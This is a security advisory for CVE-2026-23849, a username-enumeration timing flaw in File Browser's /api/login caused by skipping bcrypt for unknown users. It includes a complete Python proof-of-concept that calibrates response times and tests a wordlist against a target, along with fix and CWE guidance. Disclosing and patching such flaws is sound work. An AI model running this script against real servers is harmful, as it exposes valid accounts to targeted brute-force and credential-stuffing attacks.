GHSA-43mm-m3h2-3prc CVE-2026-23849 GO-2026-4344
File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login
- Severity
- 5.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.29% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
2.55.0- Upgrade github.com/filebrowser/filebrowser/v2 to this version or later
Description
Summary
The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.
Details
The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.
This difference in execution path creates a measurable timing discrepancy:
Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).
In auth/json.go:
// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
return nil, os.ErrPermission
}
PoC
The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.
import requests
import time
import random
import string
import statistics
import argparse
CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"
def generate_random_user(length=10):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def measure_response_time(url, username):
start = time.perf_counter()
try:
requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
except Exception as e:
print(f"[!] Connection error: {e}")
return 0
return time.perf_counter() - start
def calibrate(url):
print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
times = []
print(" Progress: ", end="", flush=True)
for _ in range(CALIBRATION_SAMPLES):
random_user = generate_random_user()
elapsed = measure_response_time(url, random_user)
times.append(elapsed)
print(".", end="", flush=True)
print(" OK")
mean = statistics.mean(times)
try:
stdev = statistics.stdev(times)
except:
stdev = 0.0
threshold = mean + (5 * stdev) + 0.005
print(f" - Mean time (invalid users): {mean:.4f}s")
print(f" - Standard deviation: {stdev:.6f}s")
print(f" - Threshold set: {threshold:.4f}s")
return threshold
def load_wordlist(wordlist_path):
try:
with open(wordlist_path, 'r', encoding='utf-8') as f:
users = [line.strip() for line in f if line.strip()]
return users
except FileNotFoundError:
print(f"[!] Wordlist not found: {wordlist_path}")
exit(1)
except Exception as e:
print(f"[!] Error reading wordlist: {e}")
exit(1)
def timing_attack(url, threshold, users):
print(f"\n[*] Testing {len(users)} users from wordlist...")
print("-" * 50)
print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
print("-" * 50)
found = []
for user in users:
elapsed = measure_response_time(url, user)
if elapsed > threshold:
status = ">> VALID <<"
found.append(user)
else:
status = "invalid"
print(f"{user:<15} | {elapsed:.4f}s | {status}")
return found
def main():
parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
args = parser.parse_args()
target_url = args.url.rstrip('/') + ENDPOINT
print("=== FILEBROWSER TIMING ATTACK ===\n")
print(f"[*] Target: {target_url}")
print(f"[*] Wordlist: {args.wordlist}")
try:
threshold = calibrate(target_url)
users = load_wordlist(args.wordlist)
print(f"\n[*] Loaded {len(users)} users from wordlist")
print("[*] Starting attack...")
valid_users = timing_attack(target_url, threshold, users)
print("\n" + "="*50)
print(f"SUMMARY: {len(valid_users)} valid users found")
if valid_users:
for u in valid_users:
print(f" -> {u}")
print("="*50)
except KeyboardInterrupt:
print("\n[!] Attack cancelled")
if __name__ == "__main__":
main()
For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" />
I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.
Impact
An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).
I remain at your disposal for any questions you may have on this matter. Thank you very much.
Sincerely, Felix Sanchez (GUCHI)
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | <= 1.11.0 |
No fix yet |
| github.com/filebrowser/filebrowser | all versions |
No fix yet |
| github.com/filebrowser/filebrowser/v2 | < 2.55.0 |
2.55.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/filebrowser/filebrowser/v2 Go → 2.55.0
- go
go get github.com/filebrowser/filebrowser/v2@v2.55.0 && go mod tidy
Severity breakdown
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-203: Observable Discrepancy
The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
CWE-208: Observable Timing Discrepancy
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-833g-cqhp-h72j File Browser: Share API exposes the password hash and bypass token | Low | Also affects github.com/filebrowser/filebrowser |
| GHSA-83xp-526h-j3ww File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-7rc3-g7h6-22m7 File Browser: Colliding username normalization gives two users the same home directory | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-8wc8-hf36-mjh9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-fmm7-x4gx-8jhr File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-xqp3-jq6g-x3qm File Browser: Authentication Bypass via Proxy Auth Header Forgery | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-m93h-4hw7-5qcm File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE) | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-8c9q-7855-wfxq File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection | High | Also affects github.com/filebrowser/filebrowser |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor